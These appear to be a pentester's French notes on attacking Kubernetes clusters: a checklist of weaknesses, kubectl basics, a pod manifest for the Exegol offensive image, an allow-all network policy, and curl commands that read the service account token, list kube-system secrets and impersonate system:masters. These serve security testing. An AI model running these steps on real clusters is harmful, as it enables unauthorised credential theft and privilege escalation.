Kubernetes

Points à tester:

  • Répertoire GIT accessible depuis l’application
  • SSRF (http://metadata-db/)
  • Docker socket accessible depuis un conteneur
  • Helm accessible
  • Exposition du cluster via NodePort
  • Détection des jobs (cryptominer ?)
  • Éléments sensibles en variables d’environnement
  • Absence de limitation de ressources (DOS)
  • Vérifier la présence de secret dans /var/run/secrets/kubernetes.io/serviceaccount/

Notions de base

L’outil kubectl permet de manager un cluster à partir d’un poste utilisateur. kubelet quant à lui permet seulement de gérer une node. La commande kubectx permet de switcher entre plusieurs cluster simplement. L’équivalent pour les namespaces existe aussi, sous le nom de kubens.

Le terme rbac correspond à “Role Based Access Control”, il s’agit du système de gestion de droit des utilisateurs sur le cluster. Ces droits s’appliquent à des ressources du cluster (pods, namespaces, deployments, etc.), ils ont les niveaux suivants create, get, delete, list, update.

Lister l’ensemble des objets disponibles sur le cluster kubectl api-resources, il est ensuite possible de lister l’ensemble des éléments d’un namespace kubectl get all.

Lister les pods kubectl get pod

Lister les secrets kubectl get secret

Décrire un objet kubectl describe <object_type>/<object_name>

Obtenir un shell sur un pod kubectl exec -it <POD NAME> -n <POD’S NAMESPACE> –- sh

Définir un namespace par défaut kubectl config set-context --current --namespace=<namespace_name>. Il est aussi possible de lister les objets sur l’ensemble d’un namespace en ajoutant l’argument --all-namespaces sur une commande kubectl get.

Déploiement d’un pod offensif

apiVersion: v1
kind: Pod
metadata:
    name: exegol
    labels:
        app: exegol
spec:
    containers:
    - image: nwodtuhs/exegol:stable
      command:
        - "sleep"
        - "604800"
      imagePullPolicy: IfNotPresent
      name: exegol
    restartPolicy: Always

Pour le lancer kubectl apply -f <deploy_file>

Création d’une network policy

kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
  name: web-allow-all
spec:
  podSelector: {}
  ingress:
  - {}
  egress:
  - {}

Utilisation via cURL

Récupération du token et de l’API

L’URL de l’API peut être récupéré via les variables d’environnement (env). Le token d’authentification lui, est récupérable dans le dossier /var/run/secrets/kubernetes.io/serviceaccount :

# Point to the internal API server hostname
APISERVER=https://kubernetes.default.svc

# Path to ServiceAccount token
SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount

# Read this Pod's namespace
NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)

# Read the ServiceAccount bearer token
TOKEN=$(cat ${SERVICEACCOUNT}/token)

# Reference the internal certificate authority (CA)
CACERT=${SERVICEACCOUNT}/ca.crt

# Explore the API with TOKEN
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api

Listing des secrets

curl -v -H “Authorization: Bearer <jwt_token>” https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Usurper un compte privilégié

curl -k -v -XGET -H “Authorization: Bearer <JWT TOKEN (of the impersonator)>” -H “Impersonate-Group: system:masters” -H “Impersonate-User: null” -H “Accept: application/json” https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Protection

Système de détection d’événements anormaux dans kubernetes

Ressources :